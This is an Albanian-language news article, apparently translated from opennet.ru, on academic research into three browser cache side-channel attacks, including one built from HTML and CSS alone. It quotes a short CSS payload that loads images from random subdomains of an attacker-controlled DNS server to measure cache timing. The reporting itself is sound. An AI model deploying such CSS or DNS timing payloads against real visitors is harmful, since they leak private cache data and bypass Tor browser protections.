Sulmi i nxjerrjes së cache të CPU-së i zbatuar në një shfletues uebi pa JavaScript

Një ekip studiuesish nga disa universitete amerikane, izraelite dhe australiane kanë zhvilluar tre sulme që ekzekutohen në shfletues të internetit për të nxjerrë informacione rreth përmbajtjes së cache-it të procesorit. Një metodë funksionon në shfletues pa JavaScript dhe dy të tjerat anashkalojnë metodat ekzistuese të mbrojtjes kundër sulmeve të kanaleve anësore, duke përfshirë ato të përdorura në shfletuesin Tor dhe DeterFox. Kodi për demonstrimin e sulmeve, si dhe komponentët e serverit të nevojshëm për sulmet, publikohen në GitHub.

Për të analizuar përmbajtjen e cache-it, të gjitha sulmet përdorin metodën Prime+Probe, e cila përfshin mbushjen e cache-së me një grup standard vlerash dhe zbulimin e ndryshimeve duke matur kohën e hyrjes në to kur i rimbushni. Për të anashkaluar mekanizmat e sigurisë të pranishme në shfletues që ndërhyjnë në matjen e saktë të kohës, në dy opsione, bëhet një apel në një server DNS ose WebSocket të kontrolluar nga sulmuesi, i cili mban një regjistër të kohës së kërkesave të marra. Në një mishërim, një kohë përgjigjeje fikse DNS përdoret si referencë kohore.

Matjet e bëra duke përdorur serverë të jashtëm DNS ose WebSocket, duke përdorur një sistem klasifikimi të bazuar në mësimin e makinerive, ishin të mjaftueshme për të parashikuar vlerat me një saktësi deri në 98% në skenarin më optimal (mesatarisht 80-90%). Metodat e sulmit janë testuar në platforma të ndryshme harduerike (Intel, AMD Ryzen, Apple M1, Samsung Exynos) dhe janë provuar të jenë universale.

Sulmi i nxjerrjes së cache të CPU-së i zbatuar në një shfletues uebi pa JavaScript

Varianti i parë i sulmit DNS Racing përdor një implementim klasik të metodës Prime+Probe duke përdorur vargje JavaScript. Dallimet zbresin në përdorimin e një kohëmatësi të jashtëm të bazuar në DNS dhe një mbajtës të një gabimi, i cili aktivizohet kur bëhet një përpjekje për të ngarkuar një imazh nga një domen që nuk ekziston. Një kohëmatës i jashtëm lejon një sulm Prime+Probe në shfletues që kufizojnë ose çaktivizojnë plotësisht aksesin në kohëmatësit JavaScript.

Për një server DNS të vendosur në të njëjtin rrjet Ethernet, saktësia e kohëmatësit vlerësohet të jetë afërsisht 2 ms, e cila është e mjaftueshme për të kryer një sulm në kanalin anësor (për krahasim, saktësia e kohëmatësit standard JavaScript në Shfletuesin Tor është reduktuar në 100 ms). Për sulmin, kontrolli mbi serverin DNS nuk kërkohet, pasi koha e ekzekutimit të operacionit zgjidhet në mënyrë që koha e përgjigjes nga DNS të shërbejë si shenjë e një përfundimi më të hershëm të kontrollit (në varësi të faktit nëse është aktivizuar mbajtësi i një gabimi më herët ose më vonë, nxirret një përfundim në lidhje me shpejtësinë e operacionit të kontrollit me cache) .

Metoda e dytë e sulmit, "String and Sock", synon të anashkalojë teknikat e sigurisë që kufizojnë përdorimin e nivelit të ulët të vargjeve në JavaScript. Në vend të vargjeve, String and Sock përdor operacione në vargje shumë të mëdha, madhësia e të cilave zgjidhet në mënyrë që ndryshorja të mbulojë të gjithë cache LLC (cache e nivelit të fundit). Më pas, duke përdorur funksionin indexOf(), kërkohet një nënvarg i vogël në varg, i cili fillimisht mungon në vargun burimor, d.m.th. operacioni i kërkimit rezulton në përsëritje në të gjithë vargun. Meqenëse madhësia e linjës korrespondon me madhësinë e cache-së LLC, skanimi ju lejon të kryeni një operacion kontrolli të cache pa manipuluar vargjet. Për të matur vonesat, në vend të DNS, bëhet një thirrje në një server WebSocket të kontrolluar nga sulmuesi - para dhe pas përfundimit të operacionit të kërkimit, pyetjet dërgohen në linjë, në bazë të së cilës serveri llogarit vonesën e përdorur për të analizuar cache. përmbajtjen.

Varianti i tretë i sulmit "CSS PP0" zbatohet përmes HTML dhe CSS dhe mund të funksionojë në shfletues me JavaScript të çaktivizuar. Metoda është e ngjashme me "String and Sock", por nuk është e lidhur me JavaScript. Gjatë sulmit, gjenerohet një grup përzgjedhësish CSS që kërkojnë me maskë. Vargu i madh fillestar që mbush cache-në vendoset duke krijuar një etiketë div me një emër të klasës shumë të madhe. Brenda ka një grup div-sh të tjerë me identifikuesit e tyre. Secila prej këtyre div-ve të mbivendosur ka stilin e vet me një përzgjedhës që kërkon një nënvarg. Kur jep një faqe, shfletuesi fillimisht përpiqet të përpunojë div-et e brendshme, gjë që rezulton në një operacion kërkimi në një rresht të madh. Kërkimi kryhet duke përdorur një maskë që mungon qëllimisht dhe çon në përsëritjen në të gjithë rreshtin, pas së cilës aktivizohet kushti "jo" dhe bëhet një përpjekje për të ngarkuar një imazh të sfondit që i referohet domeneve të rastësishme: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Nëndomenet shërbehen nga serveri DNS i sulmuesit, i cili mund të masë vonesat në marrjen e kërkesave. Serveri DNS lëshon NXDOMAIN për të gjitha kërkesat dhe mban një regjistër të kohës së saktë të kërkesave. Si rezultat i përpunimit të një grupi divs, serveri DNS i sulmuesit merr një sërë kërkesash, vonesat ndërmjet të cilave lidhen me rezultatin e kontrollit të përmbajtjes së cache.

Sulmi i nxjerrjes së cache të CPU-së i zbatuar në një shfletues uebi pa JavaScript


Burimi: opennet.ru

Shto një koment